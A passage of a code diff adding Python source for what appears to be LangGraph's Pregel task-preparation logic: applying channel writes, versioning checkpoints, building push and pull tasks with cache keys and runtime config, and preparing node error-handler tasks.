+        checkpoint: The checkpoint to update.
+        channels: The channels to update.
+        tasks: The tasks to apply writes from.
+        get_next_version: Optional function to determine the next version of a channel.
+        trigger_to_nodes: Mapping of channel names to the set of nodes that can be triggered by updates to that channel.
+
+    Returns:
+        Set of channels that were updated in this step.
+    """
+    # sort tasks on path, to ensure deterministic order for update application
+    # any path parts after the 3rd are ignored for sorting
+    # (we use them for eg. task ids which aren't good for sorting)
+    tasks = sorted(tasks, key=lambda t: task_path_str(t.path[:3]))
+    # if no task has triggers this is applying writes from the null task only
+    # so we don't do anything other than update the channels written to
+    bump_step = any(t.triggers for t in tasks)
+
+    # update seen versions
+    for task in tasks:
+        checkpoint["versions_seen"].setdefault(task.name, {}).update(
+            {
+                chan: checkpoint["channel_versions"][chan]
+                for chan in task.triggers
+                if chan in checkpoint["channel_versions"]
+            }
+        )
+
+    # Find the highest version of all channels
+    if get_next_version is None:
+        next_version = None
+    else:
+        next_version = get_next_version(
+            (
+                max(checkpoint["channel_versions"].values())
+                if checkpoint["channel_versions"]
+                else None
+            ),
+            None,
+        )
+
+    # Consume all channels that were read
+    for chan in {
+        chan
+        for task in tasks
+        for chan in task.triggers
+        if chan not in RESERVED and chan in channels
+    }:
+        if channels[chan].consume() and next_version is not None:
+            checkpoint["channel_versions"][chan] = next_version
+
+    # Group writes by channel
+    pending_writes_by_channel: dict[str, list[Any]] = defaultdict(list)
+    for task in tasks:
+        for chan, val in task.writes:
+            if chan in (
+                NO_WRITES,
+                PUSH,
+                RESUME,
+                INTERRUPT,
+                RETURN,
+                ERROR,
+                ERROR_SOURCE_NODE,
+            ):
+                pass
+            elif chan in channels:
+                pending_writes_by_channel[chan].append(val)
+            else:
+                logger.warning(
+                    f"Task {task.name} with path {task.path} wrote to unknown channel {chan}, ignoring it."
+                )
+
+    # Apply writes to channels
+    updated_channels: set[str] = set()
+    for chan, vals in pending_writes_by_channel.items():
+        if chan in channels:
+            if channels[chan].update(vals) and next_version is not None:
+                checkpoint["channel_versions"][chan] = next_version
+                # unavailable channels can't trigger tasks, so don't add them
+                if channels[chan].is_available():
+                    updated_channels.add(chan)
+
+    # Channels that weren't updated in this step are notified of a new step
+    if bump_step:
+        for chan in channels:
+            if channels[chan].is_available() and chan not in updated_channels:
+                if channels[chan].update(EMPTY_SEQ) and next_version is not None:
+                    checkpoint["channel_versions"][chan] = next_version
+                    # unavailable channels can't trigger tasks, so don't add them
+                    if channels[chan].is_available():
+                        updated_channels.add(chan)
+
+    # If this is (tentatively) the last superstep, notify all channels of finish
+    if bump_step and updated_channels.isdisjoint(trigger_to_nodes):
+        for chan in channels:
+            if channels[chan].finish() and next_version is not None:
+                checkpoint["channel_versions"][chan] = next_version
+                # unavailable channels can't trigger tasks, so don't add them
+                if channels[chan].is_available():
+                    updated_channels.add(chan)
+
+    # Return managed values writes to be applied externally
+    return updated_channels
+
+
+@overload
+def prepare_next_tasks(
+    checkpoint: Checkpoint,
+    pending_writes: list[PendingWrite],
+    processes: Mapping[str, PregelNode],
+    channels: Mapping[str, BaseChannel],
+    managed: ManagedValueMapping,
+    config: RunnableConfig,
+    step: int,
+    stop: int,
+    *,
+    for_execution: Literal[False],
+    store: Literal[None] = None,
+    checkpointer: Literal[None] = None,
+    manager: Literal[None] = None,
+    trigger_to_nodes: Mapping[str, Sequence[str]] | None = None,
+    updated_channels: set[str] | None = None,
+    retry_policy: Sequence[RetryPolicy] = (),
+    cache_policy: Literal[None] = None,
+) -> dict[str, PregelTask]: ...
+
+
+@overload
+def prepare_next_tasks(
+    checkpoint: Checkpoint,
+    pending_writes: list[PendingWrite],
+    processes: Mapping[str, PregelNode],
+    channels: Mapping[str, BaseChannel],
+    managed: ManagedValueMapping,
+    config: RunnableConfig,
+    step: int,
+    stop: int,
+    *,
+    for_execution: Literal[True],
+    store: BaseStore | None,
+    checkpointer: BaseCheckpointSaver | None,
+    manager: None | ParentRunManager | AsyncParentRunManager,
+    trigger_to_nodes: Mapping[str, Sequence[str]] | None = None,
+    updated_channels: set[str] | None = None,
+    retry_policy: Sequence[RetryPolicy] = (),
+    cache_policy: CachePolicy | None = None,
+) -> dict[str, PregelExecutableTask]: ...
+
+
+def prepare_next_tasks(
+    checkpoint: Checkpoint,
+    pending_writes: list[PendingWrite],
+    processes: Mapping[str, PregelNode],
+    channels: Mapping[str, BaseChannel],
+    managed: ManagedValueMapping,
+    config: RunnableConfig,
+    step: int,
+    stop: int,
+    *,
+    for_execution: bool,
+    store: BaseStore | None = None,
+    checkpointer: BaseCheckpointSaver | None = None,
+    manager: None | ParentRunManager | AsyncParentRunManager = None,
+    trigger_to_nodes: Mapping[str, Sequence[str]] | None = None,
+    updated_channels: set[str] | None = None,
+    retry_policy: Sequence[RetryPolicy] = (),
+    cache_policy: CachePolicy | None = None,
+) -> dict[str, PregelTask] | dict[str, PregelExecutableTask]:
+    """Prepare the set of tasks that will make up the next Pregel step.
+
+    Args:
+        checkpoint: The current checkpoint.
+        pending_writes: The list of pending writes.
+        processes: The mapping of process names to PregelNode instances.
+        channels: The mapping of channel names to BaseChannel instances.
+        managed: The mapping of managed value names to functions.
+        config: The `Runnable` configuration.
+        step: The current step.
+        for_execution: Whether the tasks are being prepared for execution.
+        store: An instance of BaseStore to make it available for usage within tasks.
+        checkpointer: `Checkpointer` instance used for saving checkpoints.
+        manager: The parent run manager to use for the tasks.
+        trigger_to_nodes: Optional: Mapping of channel names to the set of nodes
+            that are can be triggered by that channel.
+        updated_channels: Optional. Set of channel names that have been updated during
+            the previous step. Using in conjunction with trigger_to_nodes to speed
+            up the process of determining which nodes should be triggered in the next
+            step.
+
+    Returns:
+        A dictionary of tasks to be executed. The keys are the task ids and the values
+        are the tasks themselves. This is the union of all PUSH tasks (Sends)
+        and PULL tasks (nodes triggered by edges).
+    """
+    input_cache: dict[INPUT_CACHE_KEY_TYPE, Any] = {}
+    checkpoint_id_bytes = binascii.unhexlify(checkpoint["id"].replace("-", ""))
+    null_version = checkpoint_null_version(checkpoint)
+    tasks: list[PregelTask | PregelExecutableTask] = []
+    # Consume pending tasks
+    tasks_channel = cast(Topic[Send] | None, channels.get(TASKS))
+    if tasks_channel and tasks_channel.is_available():
+        for idx, _ in enumerate(tasks_channel.get()):
+            if task := prepare_single_task(
+                (PUSH, idx),
+                None,
+                checkpoint=checkpoint,
+                checkpoint_id_bytes=checkpoint_id_bytes,
+                checkpoint_null_version=null_version,
+                pending_writes=pending_writes,
+                processes=processes,
+                channels=channels,
+                managed=managed,
+                config=config,
+                step=step,
+                stop=stop,
+                for_execution=for_execution,
+                store=store,
+                checkpointer=checkpointer,
+                manager=manager,
+                input_cache=input_cache,
+                cache_policy=cache_policy,
+                retry_policy=retry_policy,
+            ):
+                tasks.append(task)
+
+    # This section is an optimization that allows which nodes will be active
+    # during the next step.
+    # When there's information about:
+    # 1. Which channels were updated in the previous step
+    # 2. Which nodes are triggered by which channels
+    # Then we can determine which nodes should be triggered in the next step
+    # without having to cycle through all nodes.
+    if updated_channels and trigger_to_nodes:
+        triggered_nodes: set[str] = set()
+        # Get all nodes that have triggers associated with an updated channel
+        for channel in updated_channels:
+            if node_ids := trigger_to_nodes.get(channel):
+                triggered_nodes.update(node_ids)
+        # Sort the nodes to ensure deterministic order
+        candidate_nodes: Iterable[str] = sorted(triggered_nodes)
+    elif not checkpoint["channel_versions"]:
+        candidate_nodes = ()
+    else:
+        candidate_nodes = processes.keys()
+
+    # Check if any processes should be run in next step
+    # If so, prepare the values to be passed to them
+    for name in candidate_nodes:
+        if task := prepare_single_task(
+            (PULL, name),
+            None,
+            checkpoint=checkpoint,
+            checkpoint_id_bytes=checkpoint_id_bytes,
+            checkpoint_null_version=null_version,
+            pending_writes=pending_writes,
+            processes=processes,
+            channels=channels,
+            managed=managed,
+            config=config,
+            step=step,
+            stop=stop,
+            for_execution=for_execution,
+            store=store,
+            checkpointer=checkpointer,
+            manager=manager,
+            input_cache=input_cache,
+            cache_policy=cache_policy,
+            retry_policy=retry_policy,
+        ):
+            tasks.append(task)
+    return {t.id: t for t in tasks}
+
+
+PUSH_TRIGGER = (PUSH,)
+
+
+class _TaskIDFn(Protocol):
+    def __call__(self, namespace: bytes, *parts: str | bytes) -> str:
+        pass
+
+
+def prepare_single_task(
+    task_path: tuple[Any, ...],
+    task_id_checksum: str | None,
+    *,
+    checkpoint: Checkpoint,
+    checkpoint_id_bytes: bytes,
+    checkpoint_null_version: V | None,
+    pending_writes: list[PendingWrite],
+    processes: Mapping[str, PregelNode],
+    channels: Mapping[str, BaseChannel],
+    managed: ManagedValueMapping,
+    config: RunnableConfig,
+    step: int,
+    stop: int,
+    for_execution: bool,
+    store: BaseStore | None = None,
+    checkpointer: BaseCheckpointSaver | None = None,
+    manager: None | ParentRunManager | AsyncParentRunManager = None,
+    input_cache: dict[INPUT_CACHE_KEY_TYPE, Any] | None = None,
+    cache_policy: CachePolicy | None = None,
+    retry_policy: Sequence[RetryPolicy] = (),
+) -> None | PregelTask | PregelExecutableTask:
+    """Prepares a single task for the next Pregel step, given a task path, which
+    uniquely identifies a PUSH or PULL task within the graph."""
+    configurable = config.get(CONF, {})
+    parent_ns = configurable.get(CONFIG_KEY_CHECKPOINT_NS, "")
+    task_id_func = _xxhash_str if checkpoint["v"] > 1 else _uuid5_str
+
+    if task_path[0] == PUSH and isinstance(task_path[-1], Call):
+        return prepare_push_task_functional(
+            cast(tuple[str, tuple, int, str, Call], task_path),
+            task_id_checksum,
+            checkpoint=checkpoint,
+            checkpoint_id_bytes=checkpoint_id_bytes,
+            pending_writes=pending_writes,
+            channels=channels,
+            managed=managed,
+            config=config,
+            step=step,
+            stop=stop,
+            for_execution=for_execution,
+            store=store,
+            checkpointer=checkpointer,
+            manager=manager,
+            cache_policy=cache_policy,
+            retry_policy=retry_policy,
+            parent_ns=parent_ns,
+            task_id_func=task_id_func,
+        )
+
+    elif task_path[0] == PUSH:
+        return prepare_push_task_send(
+            cast(tuple[str, tuple], task_path),
+            task_id_checksum,
+            checkpoint=checkpoint,
+            checkpoint_id_bytes=checkpoint_id_bytes,
+            pending_writes=pending_writes,
+            channels=channels,
+            managed=managed,
+            config=config,
+            step=step,
+            processes=processes,
+            stop=stop,
+            for_execution=for_execution,
+            store=store,
+            checkpointer=checkpointer,
+            manager=manager,
+            cache_policy=cache_policy,
+            retry_policy=retry_policy,
+            parent_ns=parent_ns,
+            task_id_func=task_id_func,
+        )
+
+    elif task_path[0] == PULL:
+        # (PULL, node name)
+        name = cast(str, task_path[1])
+        if name not in processes:
+            return
+        proc = processes[name]
+        if checkpoint_null_version is None:
+            return
+        # If any of the channels read by this process were updated
+        if _triggers(
+            channels,
+            checkpoint["channel_versions"],
+            checkpoint["versions_seen"].get(name),
+            checkpoint_null_version,
+            proc,
+        ):
+            triggers = tuple(sorted(proc.triggers))
+            # create task id
+            checkpoint_ns = f"{parent_ns}{NS_SEP}{name}" if parent_ns else name
+            task_id = task_id_func(
+                checkpoint_id_bytes,
+                checkpoint_ns,
+                str(step),
+                name,
+                PULL,
+                *triggers,
+            )
+            task_checkpoint_ns = f"{checkpoint_ns}{NS_END}{task_id}"
+            # create scratchpad
+            scratchpad = _scratchpad(
+                config[CONF].get(CONFIG_KEY_SCRATCHPAD),
+                pending_writes,
+                task_id,
+                xxh3_128_hexdigest(task_checkpoint_ns.encode()),
+                config[CONF].get(CONFIG_KEY_RESUME_MAP),
+                step,
+                stop,
+            )
+            # create task input
+            try:
+                val = _proc_input(
+                    proc,
+                    managed,
+                    channels,
+                    for_execution=for_execution,
+                    input_cache=input_cache,
+                    scratchpad=scratchpad,
+                )
+                if val is MISSING:
+                    return
+            except Exception as exc:
+                if SUPPORTS_EXC_NOTES:
+                    exc.add_note(
+                        f"Before task with name '{name}' and path '{task_path[:3]}'"
+                    )
+                raise
+
+            metadata = {
+                "langgraph_step": step,
+                "langgraph_node": name,
+                "langgraph_triggers": triggers,
+                "langgraph_path": task_path[:3],
+                "langgraph_checkpoint_ns": task_checkpoint_ns,
+            }
+            if task_id_checksum is not None:
+                assert task_id == task_id_checksum, f"{task_id} != {task_id_checksum}"
+            if for_execution:
+                if node := proc.node:
+                    if proc.metadata:
+                        metadata.update(proc.metadata)
+                    writes: deque[tuple[str, Any]] = deque()
+                    cache_policy = proc.cache_policy or cache_policy
+                    if cache_policy:
+                        args_key = cache_policy.key_func(val)
+                        cache_key = CacheKey(
+                            (
+                                CACHE_NS_WRITES,
+                                (identifier(proc) or "__dynamic__"),
+                                name,
+                            ),
+                            xxh3_128_hexdigest(
+                                (
+                                    args_key.encode()
+                                    if isinstance(args_key, str)
+                                    else args_key
+                                ),
+                            ),
+                            cache_policy.ttl,
+                        )
+                    else:
+                        cache_key = None
+                    runtime = cast(
+                        Runtime, configurable.get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME)
+                    )
+                    runtime = runtime.override(
+                        previous=checkpoint["channel_values"].get(PREVIOUS, None),
+                        store=store,
+                        execution_info=ExecutionInfo(
+                            checkpoint_id=checkpoint["id"],
+                            checkpoint_ns=task_checkpoint_ns,
+                            task_id=task_id,
+                            thread_id=configurable.get(CONFIG_KEY_THREAD_ID),
+                            run_id=str(rid) if (rid := config.get("run_id")) else None,
+                        ),
+                    )
+                    additional_config = {
+                        "metadata": metadata,
+                        "tags": proc.tags,
+                    }
+                    return PregelExecutableTask(
+                        name,
+                        val,
+                        node,
+                        writes,
+                        patch_config(
+                            merge_configs(
+                                config, cast(RunnableConfig, additional_config)
+                            ),
+                            run_name=name,
+                            callbacks=(
+                                manager.get_child(f"graph:step:{step}")
+                                if manager
+                                else None
+                            ),
+                            configurable={
+                                CONFIG_KEY_TASK_ID: task_id,
+                                # deque.extend is thread-safe
+                                CONFIG_KEY_SEND: writes.extend,
+                                CONFIG_KEY_READ: partial(
+                                    local_read,
+                                    scratchpad,
+                                    channels,
+                                    managed,
+                                    PregelTaskWrites(
+                                        task_path[:3],
+                                        name,
+                                        writes,
+                                        triggers,
+                                    ),
+                                ),
+                                CONFIG_KEY_CHECKPOINTER: (
+                                    checkpointer
+                                    or configurable.get(CONFIG_KEY_CHECKPOINTER)
+                                ),
+                                CONFIG_KEY_CHECKPOINT_MAP: {
+                                    **configurable.get(CONFIG_KEY_CHECKPOINT_MAP, {}),
+                                    parent_ns: checkpoint["id"],
+                                },
+                                CONFIG_KEY_CHECKPOINT_ID: None,
+                                CONFIG_KEY_CHECKPOINT_NS: task_checkpoint_ns,
+                                CONFIG_KEY_SCRATCHPAD: scratchpad,
+                                CONFIG_KEY_RUNTIME: runtime,
+                            },
+                        ),
+                        triggers,
+                        proc.retry_policy or retry_policy,
+                        cache_key,
+                        task_id,
+                        task_path[:3],
+                        writers=proc.flat_writers,
+                        subgraphs=proc.subgraphs,
+                        timeout=proc.timeout,
+                    )
+            else:
+                return PregelTask(task_id, name, task_path[:3])
+
+
+def _coerce_pending_error(value: Any) -> BaseException:
+    if isinstance(value, BaseException):
+        return value
+    return Exception(str(value))
+
+
+def _read_errors_from_pending_writes(
+    pending_writes: list[PendingWrite],
+) -> list[BaseException]:
+    errors: list[BaseException] = []
+    for _, channel, value in pending_writes:
+        if channel == ERROR:
+            errors.append(_coerce_pending_error(value))
+    return errors
+
+
+def _read_error_for_task_id_from_pending_writes(
+    pending_writes: list[PendingWrite], task_id: str
+) -> BaseException | None:
+    for pending_task_id, channel, value in reversed(pending_writes):
+        if pending_task_id == task_id and channel == ERROR:
+            return _coerce_pending_error(value)
+    return None
+
+
+def _read_error_source_node_from_pending_writes(
+    pending_writes: list[PendingWrite], task_id: str
+) -> str | None:
+    for pending_task_id, channel, value in reversed(pending_writes):
+        if pending_task_id == task_id and channel == ERROR_SOURCE_NODE:
+            if isinstance(value, str):
+                return value
+            return str(value)
+    return None
+
+
+def prepare_push_task_functional(
+    task_path: tuple[str, tuple, int, str, Call],
+    # (PUSH, parent task path, idx of PUSH write, id of parent task, Call)
+    task_id_checksum: str | None,
+    *,
+    checkpoint: Checkpoint,
+    checkpoint_id_bytes: bytes,
+    pending_writes: list[PendingWrite],
+    channels: Mapping[str, BaseChannel],
+    managed: ManagedValueMapping,
+    config: RunnableConfig,
+    step: int,
+    stop: int,
+    for_execution: bool,
+    store: BaseStore | None = None,
+    checkpointer: BaseCheckpointSaver | None = None,
+    manager: None | ParentRunManager | AsyncParentRunManager = None,
+    cache_policy: CachePolicy | None = None,
+    retry_policy: Sequence[RetryPolicy] = (),
+    parent_ns: str,
+    # namespace: bytes, *parts: str | bytes
+    task_id_func: _TaskIDFn,
+) -> PregelTask | PregelExecutableTask:
+    """Prepare a push task with an attached caller. Used for the functional API."""
+    configurable = config.get(CONF, {})
+
+    call = task_path[-1]
+    proc_ = get_runnable_for_task(call.func)
+    name = proc_.name
+    if name is None:
+        raise ValueError("`call` functions must have a `__name__` attribute")
+    # create task id
+    triggers: Sequence[str] = PUSH_TRIGGER
+    checkpoint_ns = f"{parent_ns}{NS_SEP}{name}" if parent_ns else name
+    task_id = task_id_func(
+        checkpoint_id_bytes,
+        checkpoint_ns,
+        str(step),
+        name,
+        PUSH,
+        task_path_str(task_path[1]),
+        str(task_path[2]),
+    )
+    task_checkpoint_ns = f"{checkpoint_ns}:{task_id}"
+    # we append True to the task path to indicate that a call is being
+    # made, so we should not return interrupts from this task (responsibility lies with the parent)
+    in_progress_task_path = (*task_path[:3], True)
+    metadata = {
+        "langgraph_step": step,
+        "langgraph_node": name,
+        "langgraph_triggers": triggers,
+        "langgraph_path": in_progress_task_path,
+        "langgraph_checkpoint_ns": task_checkpoint_ns,
+    }
+    if task_id_checksum is not None:
+        assert task_id == task_id_checksum, f"{task_id} != {task_id_checksum}"
+    if for_execution:
+        writes: deque[tuple[str, Any]] = deque()
+        cache_policy = call.cache_policy or cache_policy
+        if cache_policy:
+            args_key = cache_policy.key_func(*call.input[0], **call.input[1])
+            cache_key: CacheKey | None = CacheKey(
+                (
+                    CACHE_NS_WRITES,
+                    (identifier(call.func) or "__dynamic__"),
+                ),
+                xxh3_128_hexdigest(
+                    args_key.encode() if isinstance(args_key, str) else args_key,
+                ),
+                cache_policy.ttl,
+            )
+        else:
+            cache_key = None
+        scratchpad = _scratchpad(
+            configurable.get(CONFIG_KEY_SCRATCHPAD),
+            pending_writes,
+            task_id,
+            xxh3_128_hexdigest(task_checkpoint_ns.encode()),
+            configurable.get(CONFIG_KEY_RESUME_MAP),
+            step,
+            stop,
+        )
+        runtime = cast(Runtime, configurable.get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME))
+        runtime = runtime.override(
+            store=store,
+            execution_info=ExecutionInfo(
+                checkpoint_id=checkpoint["id"],
+                checkpoint_ns=task_checkpoint_ns,
+                task_id=task_id,
+                thread_id=configurable.get(CONFIG_KEY_THREAD_ID),
+                run_id=str(rid) if (rid := config.get("run_id")) else None,
+            ),
+        )
+        return PregelExecutableTask(
+            name,
+            call.input,
+            proc_,
+            writes,
+            patch_config(
+                merge_configs(config, {"metadata": metadata}),
+                run_name=name,
+                callbacks=call.callbacks
+                or (manager.get_child(f"graph:step:{step}") if manager else None),
+                configurable={
+                    CONFIG_KEY_TASK_ID: task_id,
+                    # deque.extend is thread-safe
+                    CONFIG_KEY_SEND: writes.extend,
+                    CONFIG_KEY_READ: partial(
+                        local_read,
+                        scratchpad,
+                        channels,
+                        managed,
+                        PregelTaskWrites(in_progress_task_path, name, writes, triggers),
+                    ),
+                    CONFIG_KEY_CHECKPOINTER: (
+                        checkpointer or configurable.get(CONFIG_KEY_CHECKPOINTER)
+                    ),
+                    CONFIG_KEY_CHECKPOINT_MAP: {
+                        **configurable.get(CONFIG_KEY_CHECKPOINT_MAP, {}),
+                        parent_ns: checkpoint["id"],
+                    },
+                    CONFIG_KEY_CHECKPOINT_ID: None,
+                    CONFIG_KEY_CHECKPOINT_NS: task_checkpoint_ns,
+                    CONFIG_KEY_SCRATCHPAD: scratchpad,
+                    CONFIG_KEY_RUNTIME: runtime,
+                },
+            ),
+            triggers,
+            call.retry_policy or retry_policy,
+            cache_key,
+            task_id,
+            in_progress_task_path,
+            timeout=call.timeout,
+        )
+    else:
+        return PregelTask(task_id, name, in_progress_task_path)
+
+
+def prepare_push_task_send(
+    task_path: tuple[str, tuple],
+    # (PUSH, parent task path)
+    task_id_checksum: str | None,
+    *,
+    checkpoint: Checkpoint,
+    checkpoint_id_bytes: bytes,
+    pending_writes: list[PendingWrite],
+    channels: Mapping[str, BaseChannel],
+    managed: ManagedValueMapping,
+    config: RunnableConfig,
+    step: int,
+    stop: int,
+    for_execution: bool,
+    store: BaseStore | None = None,
+    checkpointer: BaseCheckpointSaver | None = None,
+    manager: None | ParentRunManager | AsyncParentRunManager = None,
+    cache_policy: CachePolicy | None = None,
+    retry_policy: Sequence[RetryPolicy] = (),
+    parent_ns: str,
+    task_id_func: _TaskIDFn,
+    processes: Mapping[str, PregelNode],
+) -> PregelTask | PregelExecutableTask | None:
+    if len(task_path) == 2:
+        # SEND tasks, executed in superstep n+1
+        # (PUSH, idx of pending send)
+        idx = cast(int, task_path[1])
+        if not channels[TASKS].is_available():
+            return
+        sends: Sequence[Send] = channels[TASKS].get()
+        if idx < 0 or idx >= len(sends):
+            return
+        packet = sends[idx]
+        if not isinstance(packet, Send):
+            logger.warning(
+                f"Ignoring invalid packet type {type(packet)} in pending sends"
+            )
+            return
+
+        if packet.node not in processes:
+            logger.warning(f"Ignoring unknown node name {packet.node} in pending sends")
+            return
+        # find process
+        proc = processes[packet.node]
+        proc_node = proc.node
+        if proc_node is None:
+            return
+        # create task id
+        triggers = PUSH_TRIGGER
+        checkpoint_ns = (
+            f"{parent_ns}{NS_SEP}{packet.node}" if parent_ns else packet.node
+        )
+        task_id = task_id_func(
+            checkpoint_id_bytes,
+            checkpoint_ns,
+            str(step),
+            packet.node,
+            PUSH,
+            str(idx),
+        )
+    else:
+        logger.warning(f"Ignoring invalid PUSH task path {task_path}")
+        return
+    configurable = config.get(CONF, {})
+    task_checkpoint_ns = f"{checkpoint_ns}:{task_id}"
+    # we append False to the task path to indicate that a call is not being made
+    # so we should return interrupts from this task
+    translated_task_path = (*task_path[:3], False)
+    metadata = {
+        "langgraph_step": step,
+        "langgraph_node": packet.node,
+        "langgraph_triggers": triggers,
+        "langgraph_path": translated_task_path,
+        "langgraph_checkpoint_ns": task_checkpoint_ns,
+    }
+    if task_id_checksum is not None:
+        assert task_id == task_id_checksum, f"{task_id} != {task_id_checksum}"
+    if for_execution:
+        if proc.metadata:
+            metadata.update(proc.metadata)
+        writes: deque[tuple[str, Any]] = deque()
+        cache_policy = proc.cache_policy or cache_policy
+        if cache_policy:
+            args_key = cache_policy.key_func(packet.arg)
+            cache_key = CacheKey(
+                (
+                    CACHE_NS_WRITES,
+                    (identifier(proc) or "__dynamic__"),
+                    packet.node,
+                ),
+                xxh3_128_hexdigest(
+                    args_key.encode() if isinstance(args_key, str) else args_key,
+                ),
+                cache_policy.ttl,
+            )
+        else:
+            cache_key = None
+        scratchpad = _scratchpad(
+            config[CONF].get(CONFIG_KEY_SCRATCHPAD),
+            pending_writes,
+            task_id,
+            xxh3_128_hexdigest(task_checkpoint_ns.encode()),
+            config[CONF].get(CONFIG_KEY_RESUME_MAP),
+            step,
+            stop,
+        )
+        runtime = cast(Runtime, configurable.get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME))
+        runtime = runtime.override(
+            store=store,
+            previous=checkpoint["channel_values"].get(PREVIOUS, None),
+            execution_info=ExecutionInfo(
+                checkpoint_id=checkpoint["id"],
+                checkpoint_ns=task_checkpoint_ns,
+                task_id=task_id,
+                thread_id=configurable.get(CONFIG_KEY_THREAD_ID),
+                run_id=str(rid) if (rid := config.get("run_id")) else None,
+            ),
+        )
+        additional_config: RunnableConfig = {
+            "metadata": metadata,
+            "tags": proc.tags,
+        }
+        return PregelExecutableTask(
+            packet.node,
+            packet.arg,
+            proc_node,
+            writes,
+            patch_config(
+                merge_configs(config, additional_config),
+                run_name=packet.node,
+                callbacks=(
+                    manager.get_child(f"graph:step:{step}") if manager else None
+                ),
+                configurable={
+                    CONFIG_KEY_TASK_ID: task_id,
+                    # deque.extend is thread-safe
+                    CONFIG_KEY_SEND: writes.extend,
+                    CONFIG_KEY_READ: partial(
+                        local_read,
+                        scratchpad,
+                        channels,
+                        managed,
+                        PregelTaskWrites(
+                            translated_task_path, packet.node, writes, triggers
+                        ),
+                    ),
+                    CONFIG_KEY_CHECKPOINTER: (
+                        checkpointer or configurable.get(CONFIG_KEY_CHECKPOINTER)
+                    ),
+                    CONFIG_KEY_CHECKPOINT_MAP: {
+                        **configurable.get(CONFIG_KEY_CHECKPOINT_MAP, {}),
+                        parent_ns: checkpoint["id"],
+                    },
+                    CONFIG_KEY_CHECKPOINT_ID: None,
+                    CONFIG_KEY_CHECKPOINT_NS: task_checkpoint_ns,
+                    CONFIG_KEY_SCRATCHPAD: scratchpad,
+                    CONFIG_KEY_RUNTIME: runtime,
+                },
+            ),
+            triggers,
+            proc.retry_policy or retry_policy,
+            cache_key,
+            task_id,
+            translated_task_path,
+            writers=proc.flat_writers,
+            subgraphs=proc.subgraphs,
+            timeout=packet.timeout if packet.timeout is not None else proc.timeout,
+        )
+    else:
+        return PregelTask(task_id, packet.node, translated_task_path)
+
+
+def prepare_node_error_handler_task(
+    failed_task: PregelExecutableTask,
+    *,
+    handler_node_name: str,
+    failed_error: BaseException,
+    checkpoint: Checkpoint,
+    pending_writes: list[PendingWrite],
+    processes: Mapping[str, PregelNode],
+    channels: Mapping[str, BaseChannel],
+    managed: ManagedValueMapping,
+    config: RunnableConfig,
+    step: int,
+    stop: int,
+    store: BaseStore | None = None,
+    checkpointer: BaseCheckpointSaver | None = None,
+    manager: None | ParentRunManager | AsyncParentRunManager = None,
+    cache_policy: CachePolicy | None = None,
+    retry_policy: Sequence[RetryPolicy] = (),
+) -> PregelExecutableTask | None:
+    """Prepare an immediate node-level error handler task for a failed task."""
+    if handler_node_name not in processes:
+        return None
+    proc = processes[handler_node_name]
+    proc_node = proc.node
+    if proc_node is None:
+        return None
+
+    checkpoint_id_bytes = binascii.unhexlify(checkpoint["id"].replace("-", ""))
+    task_id_func = _xxhash_str if checkpoint["v"] > 1 else _uuid5_str
+    configurable = config.get(CONF, {})
+    parent_ns = configurable.get(CONFIG_KEY_CHECKPOINT_NS, "")
+    checkpoint_ns = (
+        f"{parent_ns}{NS_SEP}{handler_node_name}" if parent_ns else handler_node_name
+    )
+    task_id = task_id_func(
+        checkpoint_id_bytes,
+        checkpoint_ns,
+        str(step),
+        handler_node_name,
+        PUSH,
+        "node_error_handler",
+        failed_task.id,
+    )
+    task_checkpoint_ns = f"{checkpoint_ns}:{task_id}"
+    translated_task_path = (*failed_task.path[:3], "node_error_handler", False)
+    metadata = {
+        "langgraph_step": step,
+        "langgraph_node": handler_node_name,
+        "langgraph_triggers": PUSH_TRIGGER,
+        "langgraph_path": translated_task_path,
+        "langgraph_checkpoint_ns": task_checkpoint_ns,
+    }
+    if proc.metadata:
+        metadata.update(proc.metadata)
+    writes: deque[tuple[str, Any]] = deque()
+
+    effective_retry_policy = proc.retry_policy or retry_policy
+    effective_cache_policy = proc.cache_policy or cache_policy
+    if effective_cache_policy:
+        args_key = effective_cache_policy.key_func(failed_task.input)
+        cache_key = CacheKey(
+            (
+                CACHE_NS_WRITES,
+                (identifier(proc) or "__dynamic__"),
+                handler_node_name,
+            ),
+            xxh3_128_hexdigest(
+                args_key.encode() if isinstance(args_key, str) else args_key
+            ),
+            effective_cache_policy.ttl,
+        )
+    else:
+        cache_key = None
+
+    scratchpad = _scratchpad(
+        config[CONF].get(CONFIG_KEY_SCRATCHPAD),
+        pending_writes,
+        task_id,
+        xxh3_128_hexdigest(task_checkpoint_ns.encode()),
+        config[CONF].get(CONFIG_KEY_RESUME_MAP),
+        step,
+        stop,
+    )
+    runtime = cast(Runtime, configurable.get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME))
+    runtime = runtime.override(
+        store=store, previous=checkpoint["channel_values"].get(PREVIOUS, None)
+    )
+    additional_config: RunnableConfig = {
+        "metadata": metadata,
+        "tags": proc.tags,
+    }
+    return PregelExecutableTask(
+        handler_node_name,
+        failed_task.input,
+        proc_node,
+        writes,
+        patch_config(
+            merge_configs(config, additional_config),
+            run_name=handler_node_name,
+            callbacks=manager.get_child(f"graph:step:{step}") if manager else None,
+            configurable={
+                CONFIG_KEY_TASK_ID: task_id,
+                CONFIG_KEY_SEND: writes.extend,
+                CONFIG_KEY_READ: partial(
+                    local_read,
+                    scratchpad,
+                    channels,
+                    managed,
+                    PregelTaskWrites(
+                        translated_task_path,
+                        handler_node_name,
+                        writes,
+                        PUSH_TRIGGER,
+                    ),
+                ),
+                CONFIG_KEY_CHECKPOINTER: (
+                    checkpointer or configurable.get(CONFIG_KEY_CHECKPOINTER)
+                ),
+                CONFIG_KEY_CHECKPOINT_MAP: {
+                    **configurable.get(CONFIG_KEY_CHECKPOINT_MAP, {}),
+                    parent_ns: checkpoint["id"],
+                },
+                CONFIG_KEY_CHECKPOINT_ID: None,
+                CONFIG_KEY_CHECKPOINT_NS: task_checkpoint_ns,
+                CONFIG_KEY_SCRATCHPAD: scratchpad,
+                CONFIG_KEY_RUNTIME: runtime,
+                CONFIG_KEY_NODE_ERROR: NodeError(
+                    node=failed_task.name, error=failed_error
+                ),
+            },
+        ),
+        PUSH_TRIGGER,
+        effective_retry_policy,
+        cache_key,
+        task_id,
+        translated_task_path,
+        writers=proc.flat_writers,
+        subgraphs=proc.subgraphs,
+    )
+
+
+def checkpoint_null_version(
+    checkpoint: Checkpoint,
+) -> V | None:
+    """Get the null version for the checkpoint, if available."""
